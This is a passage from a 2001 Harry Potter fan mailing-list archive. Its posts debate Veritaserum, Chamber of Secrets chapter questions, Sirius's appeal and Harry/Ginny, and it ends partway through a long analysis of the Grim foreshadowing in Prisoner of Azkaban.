characters, and many random names and character traits to remember. In
all, a big mess.






From quite_serious at hotmail.com  Mon Sep  3 19:47:34 2001
From: quite_serious at hotmail.com (quite_serious at hotmail.com)
Date: Mon, 03 Sep 2001 19:47:34 -0000
Subject: Veritaserum
Message-ID: <9n0mom+f2ro@eGroups.com>

No: HPFGUIDX 25452

OK, here is another question/comment from a new member. I agree that
veritaserum would have made all those post-Voldemort trials far
easier. This is one of the three things that really irritate me
(together with the portkey and the, urgh, I can't even talk about it.)
Is it possible, do you think, that the serum is something new, perhaps
even invented as a reaction to the trials? After all, the
anti-werewolf potion is new, isn't it?


H







From Zarleycat at aol.com  Mon Sep  3 19:50:36 2001
From: Zarleycat at aol.com (Zarleycat at aol.com)
Date: Mon, 03 Sep 2001 19:50:36 -0000
Subject: CHAPTER SUMMARIES/DISCUSSION - CH. 13-15, CoS
In-Reply-To: <9n0g08+8uel@eGroups.com>
Message-ID: <9n0muc+soom@eGroups.com>

No: HPFGUIDX 25453

-- In HPforGrownups at y..., "Allison" <sundancekid at m...> wrote:

Great summaries - I liked your editorial asides!

> Questions:

> Ch.13
> 1) Why do so many people come by the hospital wing to see 
Hermione?  
> Actual concern for her or morbid curiosity about a potential 
> Petrification victim?

Morbid curiosity.  Plus, I'm sure there are individuals who would 
love to see something awful that they can then report back to their 
friends and classmates.  


> 2) On the "Ron-turning-traitor" front: When Harry attempts to pick 
up 
> the diary, Ron's first thought is not curiosity about what sort of 
> book someone would choose to throw at Myrtle, but fear for Harry's 
> safety.  Discuss.

>From Ron's comments, he has obviously taken some of Arthur Weasley's 
warnings to heart.  He may also still be in the mode of mentor to 
Harry, since Harry is still unaware of many aspects of the Wizard 
world.  


> 3) Does anyone think Flitwick really knows anything about 
Entrancing 
> Enchantments, apart from a purely academic standpoint?  I'm just 
> curious - I have a hard time reconciling my mental image of 
Flitwick 
> to a "sly old dog."

I wouldn't trust anything that comes out of Lockhart's mouth. 
However, I've always seen Flitwick as a tiny, merry, little imp.  I'm 
using "imp" in a positive manner.  I think he could be quite charming 
in a sincere way, not in a smarmy, Lockhart way.  I don't see him 
using charms as a method of having his way with someone, which I'm 
sure is what Lockhart would do.

> 4) Hermione is a Very Smart Witch.  Why on earth, then, does she 
like 
> *Lockhart*? 

She's blinded by his teeth.
 
> 5) Harry says "There wasn't the faintest trace of writing on any of 
> them, not even... 'dentist, half-past three.'"  A logistical 
> question: How does one visit the dentist while at Hogwarts?  Is 
Madam 
> Pomfrey trained in dental charms?

Why not?  Or maybe the school could make some sort of arrangement 
with the Grangers.

> 8) Harry never gets to see how Hagrid is captured and Aragog 
> escapes.  Guesses?



 
> Ch. 14
> 9) Fudge - secretly evil or just a moron?

I go back and forth on my opinions of Fudge.  I generally think of 
him not as evil, but as someone who puts his own reputation first, 
who doesn't want to do anything to get the general populace upset, 
who firmly believes in the status quo, who can be unduly influenced 
by others, and who won't believe that anything bad can or will happen 
on his watch until it jumps up and bites his nose off.

At this point in the series, before I had read books 3 and 4, he 
struck me as a somewhat fussy, ineffectual and not very brave 
individual.  He says he has to be seen doing something in view of the 
attacks at Hogwarts. It sounds like he doesn't ever want to do 
anything, unless circumstances force him to act. Plus, he didn't have 
the guts to look Hagrid in the eye when telling him he'd be taken to 
Azkban.  If he really thinks this is a good idea, why does he seem to 
be so uncomfortable with it?  If he thinks it's a bad idea, why do it 
at all?  


> 10) Lucius does a really terrible job of covering up his real 
> feelings regarding blood purity.  Why?  Perhaps he's more in 
contact 
> with Voldie than we're aware of?  Is he counting on Riddle's 
ability 
> to control Ginny permanently?  Does he assume it's safe, with 
> Dumbledore temporarily out of commission?  How can he underestimate 
> Dumbledore that much?

I didn't read this as Lucius (don't you hate it when you accidently 
type his name as Lucious?) trying to hide his real feelings.  I felt 
that he was mouthing what Dumbledore considers the appropriate 
feelings, and allowing his voice and mannerisms reveal his disdain 
for anyone who is not from a pureblood family.  I think he is 
underestimating Dumbledore, and overestimating his own influence and 
is falling into the trap of wanting to let Dumbledore know that he 
(Lucius) has won the game, even though the game is not over.
 
> 11) This marks the second time Dumbledore has known Harry was there 
> even though Harry was wearing an Invisibility Cloak.  How?  Perhaps 
> there's more to Dumbledore's half-moon glasses than meets the eye?  
> This also opens up a possible glasses connection - we know Harry's 
> glasses/eyes are important - what about Dumbledore's?

IIRC, JKR has said somewhere that Harry's glasses are the keys to his 
vulnerability.  I have no theories as to why Dumbledore can 
apparently see through the cloak.  I'm sure there will be more hints 
as to why glasses on certain people are important.  I'm sure we'll 
find out more in this regard about James Potter, too.


 
> Ch. 15
> 13) Out of respect for Hagrid, Aragog claims he never harmed a 
soul.  
> Yet he "cannot deny them [his children] fresh meat," and would 
> willingly feed Hagrid's friends, who sought the spiders out to help 
> Hagrid, to his children.  How does he justify this?

Out of respect for Hagrid, Aragog himself has never harmed a human. 
There is nothing to suggest that he thinks his children should abide 
by the same rule.  And I think he keeps his brood in the Forbidden 
Forest, even though they would probably be able to snatch up young, 
unwary students off the grounds at Hogwarts for a quick meal.  But, 
when humans stumble across the spiders in the Forest, they are 
considered fair game.  

> 
> 15) Pointless Silly Question: Which would you prefer: having to 
speak 
> in limericks for the rest of your life, or never being able to stop 
> reading?

I'd take reading over limerick-speak.


> All right, I'll shut up now and go study for physics.

Marianne, wishing you good luck with physics





From usergoogol at yahoo.com  Mon Sep  3 20:02:57 2001
From: usergoogol at yahoo.com (usergoogol at yahoo.com)
Date: Mon, 03 Sep 2001 20:02:57 -0000
Subject: right & wrong (Draco and grammar was originally discussed)
In-Reply-To: <9mv0jc+id4t@eGroups.com>
Message-ID: <9n0nlh+oll6@eGroups.com>

No: HPFGUIDX 25454


> >Draco is that person that we would all like to be if there were no 
> >EternalGod/BhuddhaNature/AbsoluteTruth/Ultimate Justice to 
> >fear.  Rich, privileged, influential, popular, witty, probably 
> >attractive enough, and certainly used to getting his way.  In a 
> >word, he is powerful, and he raises the >ultimate question of 
> >human morality (as does Voldemort, >Dumbledore, Lucius, 
> >and to a lesser extent, Fudge):

To this, I must take offense, as a moral atheist. I believe, that people, without any of those above things, can be kind, merely because, it is a logical thing to do. (If your kind to people, people will be kind to you.) Also, doing mean and violent acts is not comfortable to do if you feel a sort of "mutual feelings," or, empathy.

I must say though, he is definitally what people would want to be if they didn't have morals, that's for sure. Basically, the primal "id" as it has been descibed. He merely wishes to serve himself. And logically, he only considers other people as a source of "stuff."

Of course, Harry is quite a different person. Although it is obvious that for most of his life, being kind would have been an awful waste of time for him. But he apparently was kind, for the sole reason of empathy. Especially due to his, well, "sucky" youth, he understands what its like for life to suck.

Sorry if I was OT, but I was just offended by the (sadly popular) claim, that people will only be good, if they fear being punished. Some people are good just because they are plain nice.




From catherine at cator-manor.demon.co.uk  Mon Sep  3 20:03:08 2001
From: catherine at cator-manor.demon.co.uk (catherine at cator-manor.demon.co.uk)
Date: Mon, 03 Sep 2001 20:03:08 -0000
Subject: CHAPTER SUMMARIES/DISCUSSION - CH. 13-15, CoS
In-Reply-To: <9n0g08+8uel@eGroups.com>
Message-ID: <9n0nlt+4ite@eGroups.com>

No: HPFGUIDX 25455

--- In HPforGrownups at y..., "Allison" <sundancekid at m...> wrote:
> Questions:
> Ch.13
> 1) Why do so many people come by the hospital wing to see 
Hermione?  
> Actual concern for her or morbid curiosity about a potential 
> Petrification victim?

I think it was the fact that no one knew what had happened to her - 
therefore rumour was rife and people were trying to look at her to 
see if she had been petrified and the staff were keeping it quiet.

> 2) On the "Ron-turning-traitor" front: When Harry attempts to pick 
up 
> the diary, Ron's first thought is not curiosity about what sort of 
> book someone would choose to throw at Myrtle, but fear for Harry's 
> safety.  Discuss.

The "Ron-turning-traitor" front?  As much as I dislike Ron (well, not 
dislike, but he isn't my favourite character) I never thought that he 
would knowingly, or at least willingly, turn traitor.  I have always 
thought that he is a candidate for excessive use of Imperious Curse 
(or bribery! <g>)

No, this scene for me was just another way in which JKR shows how 
ignorant Harry is of the Wizrding world - and Ron having to clue him 
in - warning.


> 3) Does anyone think Flitwick really knows anything about 
Entrancing 
> Enchantments, apart from a purely academic standpoint?  I'm just 
> curious - I have a hard time reconciling my mental image of 
Flitwick 
> to a "sly old dog."

No idea - but I think that this is a good example of how Lockhart 
uses his genial persona to really embarrass the rest of the 
professors.  He is very sadistic.

> 4) Hermione is a Very Smart Witch.  Why on earth, then, does she 
like 
> *Lockhart*? 

I like the idea which was put forward recently that Lockhart somehow 
charmed women into liking him.  A kind of male Veela?
> 
> 6) Ginny, it seems, did give Harry the Valentine.  Did she do so 
> because she liked him, or did she do it under the influence of 
> Riddle, for some reason no one can fathom because we aren't quite 
> that evil?

Controversy!  It is by no means clear that Ginny sent Harry the 
Valentine.   I am of the opinion that Draco sent it, or Riddle made 
her send it.  See about a million posts on the subject!
 
> Ch. 14
> 9) Fudge - secretly evil or just a moron?

An ostrich.  I always remember his scenes at the end of GoF, when he 
asks Dumbledore "pleadingly" to tell him that Voldemort can't have 
come back.  Ineffectual, blustery, but not evil.  Remember, he took a 
personal interest in Harry when Sirius escaped.

> 10) Lucius does a really terrible job of covering up his real 
> feelings regarding blood purity.  Why?  Perhaps he's more in 
contact 
> with Voldie than we're aware of?  Is he counting on Riddle's 
ability 
> to control Ginny permanently?  Does he assume it's safe, with 
> Dumbledore temporarily out of commission?  How can he underestimate 
> Dumbledore that much?

I think that he's counting on Ginny dying and Riddle taking on a 
proper form.  Although what good that would do I don't know.  Would 
it mean there are two Voldys out there?  Heaven forbid!

> 11) This marks the second time Dumbledore has known Harry was there 
> even though Harry was wearing an Invisibility Cloak.  How?  Perhaps 
> there's more to Dumbledore's half-moon glasses than meets the eye?  
> This also opens up a possible glasses connection - we know Harry's 
> glasses/eyes are important - what about Dumbledore's?

IIRC, weren't they having tea or something?  I think that Dumbledore 
knew that Harry was likely to have visited Hagrid - and the number of 
teacups confirms it, so is pretty sure that Harry and Ron are hiding 
in the room somewhere.  However, I wouldn't put it past Dumbledore to 
be able to see through invisibility cloaks anyway.

> 12) Why do people think the Heir of *Slytherin* is someone from 
> another House?  First Harry, then Hagrid.  Am I the only one who 
> thinks this makes no sense?

Perhaps they thought that Slytherin's heir would deliberately be 
sorted into a different house, so he would be, in effect, incognito 
and would therefore get away with much more - ie. not come under 
suspicion because he wasn't in Slytherin.


> Ch. 15
> 13) Out of respect for Hagrid, Aragog claims he never harmed a 
soul.  
> Yet he "cannot deny them [his children] fresh meat," and would 
> willingly feed Hagrid's friends, who sought the spiders out to help 
> Hagrid, to his children.  How does he justify this?

I have never understood this.  Aragog knows that Harry and Ron are 
trying to help Hagrid, as well as everyone else.  Perhaps he is going 
senile?

> 14) There are several instances of possible foreshadowing in these 
> chapters: 
> *The comparison of Percy to Riddle
> *Hagrid's penchant for Big Scary Things once again places the Trio 
in 
> danger.  As Ron says, "He always thinks monsters aren't as bad as 
> they're made out, and look where it's got him!"  This doesn't just 
> apply to beasts - could Hagrid's trusting nature put him or Harry 
in 
> danger?  After all, isn't one of Harry's biggest fans supposed to 
die?
> *Ron's abilities as a Seer: his fear the book could be dangerous 
> turns out to be true, in a way.  He jokes that maybe Riddle 
murdered 
> Myrtle - this turns out to be true.  Discuss all.  (Ack!  I sound 
> like a teacher.  Apologies.)

Firstly, I don't think that Rercy is anything like Tom Riddle 
whatsoever.  The comment about them seeming similar must be seen in 
the context of the fact that Tom Riddle is *pretending* to follow and 
uphold rules.  Percy actually does so.  Riddle is described 
as "brilliant".  Percy works incredibly hard.  I think this is a red 
herring, and an example of Ron getting it completely wrong - he 
always goes for superficialities.
I don't want to think about Hagrid dying - love the guy to bits.  I 
also don't think that there's a beast out there that he and Harry 
couldn't cope with.  
Ron isn't a Seer!  In this instance he is doing what any person who 
has grown up in the Wizarding World would have done - warned a friend 
that books aren't always what they seem and caution should be 
exercised.  As I said above, he is merely stating what he knows.
As far as Moaning Myrtle is concerned - he's just being nasty.  Poor 
Myrtle, I feel sorry for her.

> 15) Pointless Silly Question: Which would you prefer: having to 
speak 
> in limericks for the rest of your life, or never being able to stop 
> reading?

Reading, considering it's what I spend most of my time doing anyway!





From rose590 at yahoo.com  Mon Sep  3 20:04:27 2001
From: rose590 at yahoo.com (rose590 at yahoo.com)
Date: Mon, 03 Sep 2001 20:04:27 -0000
Subject: Sirius's Appeal
In-Reply-To: <MABBIOAJAKBIIEFEFANKCELHCJAA.monika@darwin.inka.de>
Message-ID: <9n0nob+pfug@eGroups.com>

No: HPFGUIDX 25456

--- In HPforGrownups at y..., "Monika Huebner" <monika at d...> wrote:
> 
> > --- In HPforGrownups at y..., "Mindy, a.k.a. CLH" <mindyatime at j...> 
> > wrote:
> 
> > Here's another question that has been puzzling me: How come so 
many of
> > you listies are sooo ga-ga over Sirius? While I like his 
character, he
> > comes across to me as a whispy, filthy, grimy, emaciated 
skeleton. He
> > doesnt have any outer appeal; why are so many of you 'crazy' 
about 
> > him?
> 

Hello,  this is my first post and I could not think of a more 
worthwhile subject to reply to than Sirius Black.

Sirius has appeal to me because he is the first person who is a link 
to Harry's family who actually cares about him.  Discovering that he 
was Harry's godfather at the end of PoA brought tears to my eyes.  
For the first time there is a live connection for Harry to his 
parents after a lifetime of mistreatment by the Dursleys.  Every time 
that Harry has contact with Sirius in GoF, I get a warm, fuzzy 
feeling because he is getting some much needed love and affection as 
well as someone who he can confide in.

I'm truly looking forward to the development of Harry and Sirius' 
relationship in future volumes and anxiously await the day that 
Sirius' name is cleared so that he may take over the guardianship of 
Harry full-time.

Rose in PA




From polterchair at yahoo.ca  Mon Sep  3 20:05:46 2001
From: polterchair at yahoo.ca (Rain Tor)
Date: Mon, 3 Sep 2001 16:05:46 -0400 (EDT)
Subject: [HPforGrownups] Where are those two extra girls?
In-Reply-To: <9n0mfs+actq@eGroups.com>
Message-ID: <20010903200546.40348.qmail@web13602.mail.yahoo.com>

No: HPFGUIDX 25457


"Where are those two extra girls?"

I have frequently asked this question... 

Can't help you. 

Daz

_______________________________________________________
Do You Yahoo!?
Get your free @yahoo.ca address at http://mail.yahoo.ca



From shall at sfiweb.demon.co.uk  Mon Sep  3 20:20:08 2001
From: shall at sfiweb.demon.co.uk (Susan Hall)
Date: Mon, 3 Sep 2001 21:20:08 +0100
Subject: [HPforGrownups] CHAPTER SUMMARIES/DISCUSSION - CH. 13-15, CoS
In-Reply-To: <9n0g08+8uel@eGroups.com>
Message-ID: <NCBBLOIDFHFLKCOIHJBKAEDNDMAA.shall@sfiweb.demon.co.uk>

No: HPFGUIDX 25458


Questions:
Ch.13
>1) Why do so many people come by the hospital wing to see Hermione?
Actual concern for her or morbid curiosity about a potential
>Petrification victim?

I imagine Moaning Myrtle has been dropping dark hints about the fur to
everyone who might listen and they have bets on as to whether it's true.

>2) On the "Ron-turning-traitor" front: When Harry attempts to pick up
>the diary, Ron's first thought is not curiosity about what sort of
>book someone would choose to throw at Myrtle, but fear for Harry's
>safety.  Discuss.

Further evidence that Arthur Weasley had really given his kids awful
warnings about "don't talk to strange magical artifacts" and wasn't just
making it up at the end.


>3) Does anyone think Flitwick really knows anything about Entrancing
Enchantments, apart from a purely academic standpoint?  I'm just
>curious - I have a hard time reconciling my mental image of Flitwick
>to a "sly old dog."

Wasn't he also a duelling ace?  Perhaps he had a secret double life as the
Scarlet Pimpernel.  Our only evidence that he wasn't is that he is short,
has a squeaky voice, and drinks very girly drinks in public.  All an obvious
cover up.  He probably spent the years of Voldermort 1 smuggling endangered
Mudbloods to safety, and passionately kissing the marble staircase where his
beloved but estranged wife's tiny feet had trod.

>4) Hermione is a Very Smart Witch.  Why on earth, then, does she like
>*Lockhart*?

I have a first in Law from the University of Oxford and *I* can't fathom out
why I had crushes on the people I had crushes on at that sort of age.
Better leave it at "hormones and brain cells don't mix".

>5) Harry says "There wasn't the faintest trace of writing on any of
them, not even... 'dentist, half-past three.'"  A logistical
>question: How does one visit the dentist while at Hogwarts?  Is Madam
>Pomfrey trained in dental charms?

Yes - she sorts out Hermoine's teeth in GoF, which is rather advanced
cosmetic dentistry.  Those with objections to this approach (eg Hermoine's
parents) can schedule regular check ups in school holidays, and, presumably
for emergency work Madam Pomfrey can put the magical equivalent of a
temporary filling in until it can be properly seen too.

>6) Ginny, it seems, did give Harry the Valentine.  Did she do so
because she liked him, or did she do it under the influence of
>Riddle, for some reason no one can fathom because we aren't quite
>that evil?

The quality of the verse certainly suggests it was Riddle inspired.  Perhaps
he just had a thing about green eyes.  maybe he was trying an experimental
eviloverlord technique ["When I become an evil overlord I shall see whether
embarassing my enemies to death has any prospect of success before moving on
to more obvious attacks on them"]

>7) Harry never thinks of Riddle as "Tom," but always "Riddle," even
before he (Harry) realizes who he (Riddle) really is.  Is JKR setting
>the reader up for Riddle's real identity by not having Harry think of
him in more familiar terms?  (In the diary, Riddle calls Harry "Harry
Potter," and either "Harry" or "Harry Potter" during their
>confrontation at the end of the chapter.)

The boys quite often use surnames for other boys whom they are, for some
reason, slightly unsure of.  I think its a deliberate archaism to bring out
the traditional school story ambiance.

>8) Harry never gets to see how Hagrid is captured and Aragog
>escapes.  Guesses?

Hagrid probably sets up a diversion by letting off a  big noticeable
enchantment involving lots of sparks and clouds of smoke, deliberately
holding it until Aragog gets clear, then goes quietly.  Heroic, but not all
that bright.


Ch. 14
>9) Fudge - secretly evil or just a moron?

Can't he be both?  Seriously, I can't think of anything more evil than
sending someone off to a place like Azkaban simply so the newspapers see
you're doing something.  It's also moronic, since as he doesn't appear to
believe Hagrid *did* do it, so he must realise he's left the real Heir of
Slytherin around to carry on its reign of terror.

>10) Lucius does a really terrible job of covering up his real
feelings regarding blood purity.  Why?  Perhaps he's more in contact
>with Voldie than we're aware of?  Is he counting on Riddle's ability
to control Ginny permanently?  Does he assume it's safe, with
Dumbledore temporarily out of commission?  How can he underestimate
>Dumbledore that much?

Lucius knows the way to Fudge's heart is via blood purity - why bother to
conceal it?  I'm surprised, however, he didn't manage to keep his control
over the Board of Governors - that is a slip up.

>11) This marks the second time Dumbledore has known Harry was there
even though Harry was wearing an Invisibility Cloak.  How?  Perhaps
>there's more to Dumbledore's half-moon glasses than meets the eye?
This also opens up a possible glasses connection - we know Harry's
>glasses/eyes are important - what about Dumbledore's?

Hagrid spots it too.  I think both of them guess it from Fang's reaction.

>12) Why do people think the Heir of *Slytherin* is someone from
another House?  First Harry, then Hagrid.  Am I the only one who
>thinks this makes no sense?

Might the assumption be that the Heir is wearing false colours?

Ch. 15
>13) Out of respect for Hagrid, Aragog claims he never harmed a soul.
Yet he "cannot deny them [his children] fresh meat," and would
>willingly feed Hagrid's friends, who sought the spiders out to help
>Hagrid, to his children.  How does he justify this?

Being a giant man eating spider means never having to say you're sorry.

>14) There are several instances of possible foreshadowing in these
chapters:
>*The comparison of Percy to Riddle
*Hagrid's penchant for Big Scary Things once again places the Trio in
>danger.  As Ron says, "He always thinks monsters aren't as bad as
they're made out, and look where it's got him!"  This doesn't just
apply to beasts - could Hagrid's trusting nature put him or Harry in
danger?  After all, isn't one of Harry's biggest fans supposed to die?
>*Ron's abilities as a Seer: his fear the book could be dangerous
turns out to be true, in a way.  He jokes that maybe Riddle murdered
Myrtle - this turns out to be true.  Discuss all.  (Ack!  I sound
>like a teacher.  Apologies.)


I don't think we should confuse basic common sense with foresight.  Only the
comment about Myrtle comes under the latter heading.  Ron's comment about
Hagrid and BST and about the book are based in the first place on what he's
observed himself and secondly on what his father has taught him from his
father's own personal experience.  Hagrid has a real likelihood of getting
himself killed, but I don't think he's all that trusting except when it
comes to BSTs - he seems to have Fudge and Lockhart pretty much pegged, for
example.
I actually think Percy is more like Fudge than Riddle, but you never know.


>15) Pointless Silly Question: Which would you prefer: having to speak
in limericks for the rest of your life, or never being able to stop
>reading?

For me the ultimate curse
Would be forcible utterance in verse
 I read all the time
Cos I  find it sublime
And magic could not make me worse

Susan






From heidi.h.tandy.c92 at alumni.upenn.edu  Mon Sep  3 20:29:24 2001
From: heidi.h.tandy.c92 at alumni.upenn.edu (Tandy, Heidi)
Date: Mon, 3 Sep 2001 16:29:24 -0400 
Subject: [HPforGrownups] Veritaserum
Message-ID: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2B47@MIAEXCH1>

No: HPFGUIDX 25459

I have always felt this way, and have had complicated legalistic discussions
with susan hall about this.
I really think that since veritasserum still only allows you to tell truth
from your perspective, and therefore what you tell is not objective truth,
combined with what I would presume to be "newness" {i.e. Past 75 years or
so} make it impermissible in wizarding courts or even investigations. 

Btw- offtopically, the hp4gu newyorkers had a great time at serendipity
today - I am back at the airport but I think they are still in the park!

-----Original Message-----
From: quite_serious at hotmail.com <quite_serious at hotmail.com>
To: HPforGrownups at yahoogroups.com <HPforGrownups at yahoogroups.com>
Sent: Mon Sep 03 15:47:34 2001
Subject: [HPforGrownups] Veritaserum

Real-To:  quite_serious at hotmail.com

OK, here is another question/comment from a new member. I agree that
veritaserum would have made all those post-Voldemort trials far
easier. This is one of the three things that really irritate me
(together with the portkey and the, urgh, I can't even talk about it.)
Is it possible, do you think, that the serum is something new, perhaps
even invented as a reaction to the trials? After all, the
anti-werewolf potion is new, isn't it?


H






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From KayandJay1 at MSN.com  Mon Sep  3 20:46:31 2001
From: KayandJay1 at MSN.com (KayandJay1 at MSN.com)
Date: Mon, 03 Sep 2001 20:46:31 -0000
Subject: Harry and Ginny
Message-ID: <9n0q77+8dsb@eGroups.com>

No: HPFGUIDX 25460

Hi! just reread Harry Potter and the chamber of Secrets.  I started 
to Cry on the part were Harry finds Ginny just laying there.  It 
really touches me.  I think that it shows Harry's true feelings for 
Ginny.  He thought the she was dead.  He was crying for her to get 
up.  Harry was the one who wanted to find Ginny in the first place.  
I think Harry is too afraid Ginny does not like him to ask her out 
and Ginny is too afraid that Harry does not like her to ask him out.  
I do not know.  What do you think about Harry and Ginny?  I think 
that they will sometime find out that the like each other
Josie Lillia Potter 




From snyderm at engr.sc.edu  Mon Sep  3 20:51:06 2001
From: snyderm at engr.sc.edu (Snyder, Meri)
Date: Mon, 3 Sep 2001 16:51:06 -0400 
Subject: [HPforGrownups] Harry and Ginny
Message-ID: <D8AB9C5548AED211928B0090273CDDD705789AA0@mailbox.engr.sc.edu>

No: HPFGUIDX 25461

I agree and disagree.  I really would like to see a Harry/Ginny relationship
explored in future books.  I don't think that Harry has hidden feelings for
Ginny, though.  He is too taken with Cho right now to even consider Ginny as
anything other than his friends sister.  But who knows... 

Leslie

-----Original Message-----
From: KayandJay1 at MSN.com [mailto:KayandJay1 at MSN.com]
Sent: Monday, September 03, 2001 4:47 PM
To: HPforGrownups at yahoogroups.com
Subject: [HPforGrownups] Harry and Ginny


Hi! just reread Harry Potter and the chamber of Secrets.  I started 
to Cry on the part were Harry finds Ginny just laying there.  It 
really touches me.  I think that it shows Harry's true feelings for 
Ginny.  He thought the she was dead.  He was crying for her to get 
up.  Harry was the one who wanted to find Ginny in the first place.  
I think Harry is too afraid Ginny does not like him to ask her out 
and Ginny is too afraid that Harry does not like her to ask him out.  
I do not know.  What do you think about Harry and Ginny?  I think 
that they will sometime find out that the like each other
Josie Lillia Potter 



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From cynthiaanncoe at home.com  Mon Sep  3 21:30:05 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Mon, 03 Sep 2001 21:30:05 -0000
Subject: Veritaserum
In-Reply-To: <9n0mom+f2ro@eGroups.com>
Message-ID: <9n0sot+atvp@eGroups.com>

No: HPFGUIDX 25462

--- In HPforGrownups at y..., quite_serious at h... wrote:
> OK, here is another question/comment from a new member. I agree that
> veritaserum would have made all those post-Voldemort trials far
> easier. This is one of the three things that really irritate me
> (together with the portkey and the, urgh, I can't even talk about 
it.)
> Is it possible, do you think, that the serum is something new, 
perhaps
> even invented as a reaction to the trials? After all, the
> anti-werewolf potion is new, isn't it?
> 
> 
> H

My totally unsupported view of Veritaserum is that wizards are wary 
of using it as a matter of personal rights and privacy.  Certainly 
there are methods of getting at the truth that members of a civilized 
society consider too invasive and intrusive on personal freedoms.  
Perhaps wizards don't turn to Veritaserum to get at the truth for 
that reason.

BTW, I think Dumbledore is going to get sacked for using Veritaserum 
on Crouch.  Snape said its use is governed by strict Ministry 
guidelines.  We don't know what they are, but I'd bet Dumbledore 
didn't comply with them.

Cindy




From caliburncy at yahoo.com  Mon Sep  3 23:03:37 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Mon, 03 Sep 2001 23:03:37 -0000
Subject: Long Grim Analysis (was Very Little Foreshadowing?)
In-Reply-To: <9n0d5a+tob2@eGroups.com>
Message-ID: <9n128a+o6ku@eGroups.com>

No: HPFGUIDX 25463

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
> --- In HPforGrownups at y..., caliburncy at y... wrote:
> > But 
> > I wanted a single, good example of first-time foreshadowing AT 
IT'S 
> > VERY BEST.  
> Luke, 
> 
> If you're still out there, I'm wondering about 
> foreshadowing/misdirection in the books.  There are times when JKR 
> foreshadows (first-time), but then seems to use something 
> (misdirection?  author prophesy?) to throw us off the trail.  
> 
> Best example that occurs to me is the Grim in PoA.  We are told 
again 
> and again that Harry sees a black dog, then nearly gets killed.  But 
> we are also told early and often that Trelawney (who speaks often of 
> the Grim) is a fraud.  We also have Harry seeing a Grim in a book in 
> Diagon Alley, which suggests that it really is a death omen.  I 
doubt 
> anyone guessed that Sirius was the Grim, so what are the techniques 
> that make this storyline work?
> 
> Cindy

Ooh, a challenge to put my categorizations to the test!  Neat! . . . 
(ponders) . . . Gee, I hope they don't fail.

Okay, it seems to me that the best way to discuss this is 
chronologically with all the relevant instances (translation: 
everywhere the Grim is brought up) from the book quoted and then 
commenting on them as we go.  There are page numbers if you want to 
follow along, but they're for the First American Edition (hardcover). 
 Sorry about that for people with other editions: I'll give the 
chapters as well to help you guys out.  Anyway, I'm doing full quotes 
so cross-referencing shouldn't be necessary at all unless you want to 
review the larger context.

Also, I use capital letters in place of italics in these quotes, since 
this mailing list doesn't handle italics AFAIK.  And any edits to make 
the context clear are in brackets.

One last note (I swear!), before I start, is that since the Grim is an 
omen and omens are real-life foreshadowing, the appearances of the 
Grim are all supposed to look like first-time foreshadowing, but in 
the mechanics of the story they may not really function this way as 
literary devices (if that makes sense).  I have tried to point out 
when I think this is the case.

*****

CHAPTER 3, PAGE 33

Harry saw, quite distinctly, the hulking outline of something very 
big, with wide, gleaming eyes.

-----

This is the first appearance of the Grim (Sirius).  At this point, we 
know nothing about it at all, not even that it is a dog.  This is 
first-time foreshadowing and it raises the story question of "What is 
it that Harry saw?"  No explanations are provided yet.

*****

CHAPTER 3, PAGE 34

   "There was a big black thing," said Harry, pointing uncertainly 
into the gap.  "Like a dog . . . but massive . . ."

-----

Harry now tells us what he saw, answering our earlier story question 
more or less, but raising another one (almost an extension of the old 
one) which is basically "What is the significance of the dog?"  For 
this reason, this is also first-time foreshadowing.  Notice we again 
have no implied explanation for this new question.

*****

CHAPTER 4, PAGE 53-54

   But Harry wasn't listening.  His eyes had fallen on another book, 
which was among a display on a small table: DEATH OMENS: WHAT TO DO 
WHEN YOU KNOW THE WORST IS COMING.
   "Oh, I woudn't read that if I were you," said the manager lighty, 
looking to see what Harry was staring at.  "You'll start seeing death 
omens everywhere.  It's enough to frighten anyone to death."
   But Harry continued to stare at the front cover of the book; it 
showed a black dog large as a bear, with gleaming eyes.  It looked 
oddly familiar. . . .

-----

Finally, we are given an alleged explanation for the dog, that it is 
some kind of death omen.  This is second-time foreshadowing really, 
but it is disguised to look like first-time foreshadowing in a way, 
since even though we've just been given an explanation, it's not 
really an answer to our story question, therefore it makes you wonder 
even more.  The fundamental question remains, perhaps slightly 
modified to "What is the significance of the dog being a death omen?" 
or, if you make the intended next step, "Is Harry going to die?"

*****

CHAPTER 4, PAGE 54-55

   "It can't have been a death omen," [Harry] told his refelection 
defiantly.  I was panicking when I saw that thing in Magnolia 
Crescent. . . . It was probably just a stray dog. . . ."
   He raised his hand automatically and tried to make his hair lie 
flat.
   "You're fighting a losing battle there, dear," said his mirror in a 
wheezy voice.

-----

This is not really foreshadowing, but as it's reflecting upon the 
above scene with the DEATH OMENS book, it certainly bears inclusion.  
Here Harry tries unsuccessfully to convice himsef that the dog is not 
a death omen.  Of course, JKR does want us to believe that it is a 
death omen, so why does she do this?  Because a failed attempt to 
provide another explanation subconciously lends credence to the 
original explanation in people's minds.  Also, on a side note, I have 
to give a nod to JKR for a cute piece of double entendre on the 
mirror's part.

*****

CHAPTER 4, PAGE 68

[But first, the context, because here it's quite important.  Harry was 
just reflecting on how everyone is scared for him since Sirius Black 
is after him and they don't think he can protect himself.  Now then:]

   Unbidden, the image of the beast in the shadows of Magnolia 
Crescent crossed his mind.  WHAT TO DO WHEN YOU KNOW THE WORST IS 
COMING. . . .
   "I'm not going to be murdered," Harry said out loud.
   "That's the spirit, dear," said his mirror sleepily.

-----

This is not exactly foreshadowing either: like the above quote it 
continues rehashing the "Is Harry going to die?" question and not 
answering it, which is actually to good effect because it creates a 
little bit of tension on the point, like a dissonant note that just 
won't resolve (for any music folks out there).  But it's not total 
repetion, because it establishes a connection that, heretofore, wasn't 
technically put forth in the text.  This is the implication that there 
is a connection between Sirius Black being after Harry and Harry's 
seeing the death omen.  The vast majority of people will have already 
made this connection, however.  Notice that the implied connection 
though, is the most obvious one (which eventually proves false): that 
Harry might be killed by Sirius.  No hints are given that there might 
be another reason (that Sirius IS the death omen).  Therefore this is 
a piece of misdirection, giving a perfectly viable alleged explanation 
to the significance of the death omen.

*****

CHAPTER 6, PAGE 107

   "My dear," Professor Trelawney's huge eyes opened dramatically, 
"you have the Grim."
   "The what?" said Harry.
   He could tell that he wasn't the only one who didn't understand; 
Dean Thomas shrugged at him and Lavender Brown looked puzzled, but 
nearly everybody else clapped their hands to their mouths in horror.
